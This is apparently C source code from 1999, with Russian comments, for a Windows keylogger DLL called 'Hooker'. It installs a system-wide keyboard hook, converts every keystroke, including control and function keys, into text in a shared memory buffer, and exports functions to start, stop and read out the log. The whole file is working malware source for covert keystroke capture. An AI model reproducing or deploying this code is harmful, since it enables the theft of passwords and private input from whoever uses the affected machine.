/********************************************************************/
/*                                                                  */
/*           Hooker, keylog dynamic link library v2.x               */
/*                         ACrazzi, 1999                            */
/*                                                                  */
/********************************************************************/

#include <stdio.h>
#include <windows.h>

#define BUFFER_SIZE 0x100    //размер буфера

//шареные данные

#pragma comment(linker, "/SECTION:SHARED,RWS")

#pragma data_seg("SHARED")
char buffer[BUFFER_SIZE] = {0};        //буферок под лог
int frame = 0;                         //фреймик в буферке
int opt = 0;                           //режим лога
#pragma data_seg()



HANDLE hInstance;         //хендел dll
HHOOK hHook = NULL;       //ловушка


BOOL WINAPI DllMain(HANDLE hModule,DWORD,LPVOID)
{
    hInstance = hModule;
    return true;
}

//-----------------CALLBACK функция на клавную ловушку----------------
LRESULT CALLBACK KeyboardProc(
	int code,      // hook code
	WPARAM wParam, // virtual-key code 
	LPARAM lParam) // keystroke-message information 
{

//с игнорированием залипания (Caps Lock, Num Lock, /etc)
#define FDEFINE_I(keycode,value)\
	{\
	case (keycode):\
	if ((LastCode != CurCode) && (opt)) {\
		strcpy(sz1,(value));\
	};\
	break;\
	}

//с обработкой залипания
#define FDEFINE(keycode,value)\
	{\
	case (keycode):\
	strcpy(sz1,(value));\
	break;\
	}

#define FDEFINE_A(keycode,value)\
	{\
	case (keycode):\
	if (opt) strcpy(sz1,(value));\
	break;\
	}


char sbuf[0x100], sz1[0x100];
int i, CurCode;
static int LastCode = 0;

	
	if ((code == HC_ACTION) && (! (lParam & 0x80000000) )){	
		CurCode	= wParam & 0xFF;
		sz1[0] = 0;
		switch(CurCode) {
			FDEFINE_I(VK_CONTROL ,"{CTRL}");
			FDEFINE_I(VK_MENU,"{ALT}");
			FDEFINE_I(VK_INSERT,"{INS}");
			FDEFINE_I(VK_CAPITAL,"{Caps Lock}");
			FDEFINE_I(VK_NUMLOCK,"{Num Lock}");
			FDEFINE_I(VK_SCROLL,"{Scroll Lock}");
			FDEFINE_I(VK_SHIFT,"{SHIFT}");
			FDEFINE_A(VK_ESCAPE,"{ESC}");
			FDEFINE_A(VK_F1,"{F1}");
			FDEFINE_A(VK_F2,"{F2}");
			FDEFINE_A(VK_F3,"{F3}");
			FDEFINE_A(VK_F4,"{F4}");
			FDEFINE_A(VK_F5,"{F5}");
			FDEFINE_A(VK_F6,"{F6}");
			FDEFINE_A(VK_F7,"{F7}");
			FDEFINE_A(VK_F8,"{F8}");
			FDEFINE_A(VK_F9,"{F9}");
			FDEFINE_A(VK_F10,"{F10}");
			FDEFINE_A(VK_F11,"{F11}");
			FDEFINE_A(VK_F12,"{F12}");
			FDEFINE_A(VK_TAB,"{TAB}");
			FDEFINE_A(VK_HOME,"{HOME}");
			FDEFINE_A(VK_END,"{END}");
			FDEFINE_A(VK_PRIOR,"{PgUp}");
			FDEFINE_A(VK_NEXT,"{PgDn}");
			FDEFINE_A(VK_LEFT,"{LEFT}");
			FDEFINE_A(VK_RIGHT,"{RIGHT}");
			FDEFINE_A(VK_UP,"{UP}");
			FDEFINE_A(VK_DOWN,"{DOWN}");
			FDEFINE_A(VK_CLEAR,"{CLEAR}");
			FDEFINE_A(VK_SNAPSHOT,"{Print Screen}");
			FDEFINE_A(VK_PAUSE,"{PAUSE}");
			
			FDEFINE(VK_BACK,"{BS}");
			FDEFINE(VK_RETURN,"\n");
			FDEFINE(VK_DELETE,"{DEL}");
			default:
			GetKeyboardState((PBYTE)sbuf);
			i = ToAscii(
				wParam,           // virtual-key code 
				lParam,           // scan code  
				(PBYTE) sbuf,     // address of key-state array 
				(LPWORD) sz1,     // buffer for translated key
				0                 // active-menu flag 
			);
			if ((i == 1) && ((BYTE)sz1[0] < 0x20)) i = 0;
			sz1[i] = 0;
			break;
		};
		LastCode = CurCode;
		if (strlen(sz1)) {
			if ((frame + strlen(sz1)) < BUFFER_SIZE) {
				memcpy(buffer + frame,sz1,strlen(sz1));
				frame += strlen(sz1);
			};
		};
	};
	
	if (code < 0) return CallNextHookEx(hHook,code,wParam,lParam);
	return 0;
};
//-----------------Ставит режим работы--------------------------------
__declspec(dllexport) void KeylogOpt(int id)
{
	opt = id;
};
//-----------------Считывает данные из буфера-------------------------
__declspec(dllexport) int GetData(char* d,int size)
{
int retv = 0;
	if (frame) {
		if (frame > size) {
			memcpy(d,buffer,size);
			memmove(buffer,buffer + frame,frame - size);
			retv = size;
		} else {
			memcpy(d,buffer,frame);
			retv = frame;
			frame = 0;
		};
	};
	return retv;
};
//--------------------Отруб кейлога-----------------------------------
__declspec(dllexport) bool KeylogOff(void)
{	
	if (hHook)
		if (UnhookWindowsHookEx(hHook)) hHook = NULL;
	frame = 0;
	return (!hHook);
};
//-----------------Включение кейлога----------------------------------
__declspec(dllexport) bool KeylogOn(void)
{
	if (hHook) KeylogOff();
	frame = 0;
	hHook = SetWindowsHookEx(
		WH_KEYBOARD,            // type of hook to install 
		(HOOKPROC)KeyboardProc, // address of hook procedure 
		hInstance,       // handle of application instance 
		0                // identity of thread to install hook for
	);
#ifdef _DEBUG
	if (!hHook) MessageBox(NULL,"Cannot set Keylog hook","Error",MB_OK);
#endif	
	return (hHook != NULL);
};
